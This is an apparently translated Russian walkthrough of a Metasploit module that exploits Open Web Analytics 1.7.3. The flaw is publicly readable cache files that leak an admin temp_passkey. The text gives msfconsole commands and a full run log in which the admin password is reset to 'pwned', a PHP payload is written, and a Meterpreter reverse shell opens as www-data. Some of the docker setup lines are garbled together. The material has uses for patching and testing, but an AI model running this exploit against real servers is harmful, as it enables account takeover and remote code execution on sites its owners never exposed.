
Open Web Analytics 1.7.3 - Удаленное выполнение кода
Open Web Analytics (OWA) до версии 1.7.4 позволяет неаутентифицированному удаленному злоумышленнику получить конфиденциальную информацию о пользователях, которая может быть использована для получения привилегий администратора с помощью кэшированных хэшей. Это происходит потому, что файлы, созданные с помощью `<?php (вместо правильной последовательности "<?php) не обрабатываются интерпретатором PHP.
Запустите уязвимый экземпляр OWA с помощью docker
docker compose up -ddocker-compose.yml
http://127.0.0.1/docker inspect <db-container> и получить IPAddress, например 172.22.0.2)3306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#Запустите msfconsole
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> это должен быть IP-адрес моста, созданного командой docker compose up -d
check
run
При эксплуатации цели пароль атакованного пользователя будет перезаписан этим паролем.
Пользователь, который будет целью данной эксплойта.
Эксплойт работает путем извлечения значения temp_passkey из файла кэша, который создается для каждого пользователя при попытке входа в систему с его помощью.
Поскольку каталог /owa-data/caches/ общедоступен, мы можем получить эти файлы кэша. Точный путь к файлам кэша
зависит от user_id и может быть вычислен с его помощью. Этот параметр определяет, сколько вычисленных путей, начиная с 0, должно быть
проверено на наличие файлов кэша со значением temp_passkey.
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >